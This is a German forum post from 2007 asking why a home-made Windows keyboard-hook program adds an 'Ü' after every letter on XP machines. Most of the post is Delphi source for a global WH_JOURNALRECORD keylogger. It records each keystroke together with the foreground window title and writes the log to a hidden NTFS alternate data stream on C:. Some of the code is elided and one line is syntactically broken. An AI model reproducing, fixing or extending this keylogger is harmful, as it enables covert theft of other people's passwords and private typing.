Einzelnen Beitrag anzeigen

0x802b
(Gast)

n/a Beiträge
 
#1

Keyhooks...AusgabeDatei enthält nicht gedrückte Tasten oO

  Alt 25. Aug 2007, 02:31
Hey Community :>

Ich bin nach längerem testen ehrlich gesagt langsam am verzeifeln
Ich habe mich mal an Keyboardhooks gesetzt und ne kleine App geschrieben welche die Anschläge
aufzeichnet und in einer TextDatei(bzw. html) speichert.

Das klappt Lokal (Windows Vista 32Bit) auch wunderbar, allerdings auf anderen Testmaschinen nicht!

Die Aufzeichnungen sehen folgendermaßen aus:

Zitat:
<-----LOKAL(winVista)----->
[ App Name ]
hallo ihr da draußen


<-----WIN XP TESTRECHNER(3 Stück)----->
[ App Name ]
hÜaÜlÜlÜoÜ iÜhÜrÜ dÜaÜ dÜrÜaÜuÜßÜeÜnÜ
Wie ihr sicherlich seht wird nach jedem Buchstaben ein Ü eingefügt
Ich hatte zuerst vermutet das er das KeyPress Event ansich i-wie aufzeichnet und durch ein Ü ebenfalls aufzeichnet.
Bischen debugged und danach konnte ich die Vermutung ebenfalls ausschliessen.

Ich hab schon Bekannte gefragt aber die wissen auch nicht wodrans liegen könnte...
Hier mal der Source:

Delphi-Quellcode:
procedure Main.SetHooks;
begin
KeyHookHandle:=SetWindowsHookEx(WH_JOURNALRECORD, @KeyHookProc, HInstance, 0);
end;
//
//
//
function KeyHookProc(nCode:integer; wParam: Longint; var EventStrut: TEVENTMSG): Longint; stdcall;
var
CurrentChar,HBuf,HookFilePath:string;
KeyFile,BytesWritten:dword;
szCurAppNm:array[0..260] of Char;
CurrentKey:Array[0..1] of Char;
VirtKey,ScanCode:Cardinal;
KeyState:TKeyBoardState;
nametext:Array[0..32] of Char;
begin
if (nCode = HC_ACTION) and (EventStrut.message = WM_KEYUP)
  then begin
   VirtKey:=LOBYTE(EventStrut.paramL);
   ScanCode:=HIBYTE(EventStrut.paramL);
   ScanCode:=ScanCode shl 16;
   HookFilePath:='C:\:keyhooks.txt'; //Ads

   KeyFile:=CreateFile(pchar(HookFilePath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
   SetFilePointer(KeyFile, 0, nil, FILE_END);
   GetWindowText(GetForegroundWindow, szCurAppNm, sizeof(szCurAppNm));
   if szCurAppNm <> szCurApp

    then begin
     szCurApp:=szCurAppNm;
     HBuf:='<font color="#b22222">[ '+szCurAppNm+' ]</font>';
     WriteFile(KeyFile, pchar(HBuf)^, length(HBuf), BytesWritten, nil);
    end;
   GetKeyNameText(ScanCode,nametext,sizeof(nametext));
   
{  if VirtKey = VK_CAPITAL then CurrentChar:=''         
  else if VirtKey = VK_SHIFT then CurrentChar:=''     
  else if VirtKey = VK_SPACE then CurrentChar:=''   
  else if VirtKey = VK_RETURN then CurrentChar:='
'
  else if VirtKey = VK_BACK then CurrentChar:='<font color="#c0c0c0">[Back]</font>'
  else if VirtKey = VK_TAB  then CurrentChar:='<font color="#c0c0c0">[Tab]</font>'
  else if VirtKey = VK_CONTROL  then CurrentChar:='<font color="#c0c0c0">[Ctrl]</font>'
  else if VirtKey = VK_MENU  then CurrentChar:='<font color="#c0c0c0">[Alt]</font>' 
  else if VirtKey = VK_PAUSE  then CurrentChar:='<font color="#c0c0c0">[Pause]</font>'
  else if VirtKey = VK_ESCAPE then CurrentChar:='<font color="#808080">[Esc]</font>'
...
...
...
}


   
 else if lstrlen(nametext) > 1 then CurrentChar:='['+nametext+']'
   else
    begin
     GetKeyboardState(KeyState);
     ToAscii(VirtKey,ScanCode, KeyState, CurrentKey, 0);
     CurrentChar:=CurrentKey;

    end;
   if CurrentChar <> 'then WriteFile(KeyFile, pchar(CurrentChar)^, length(CurrentChar), BytesWritten, nil);
   CloseHandle(KeyFile);
  end;

//CallNextHookEx(KeyHookHandle, nCode, wParam, Integer(@EventStrut));
end;
Habt ihr eventuell eine Idee?
  Mit Zitat antworten Zitat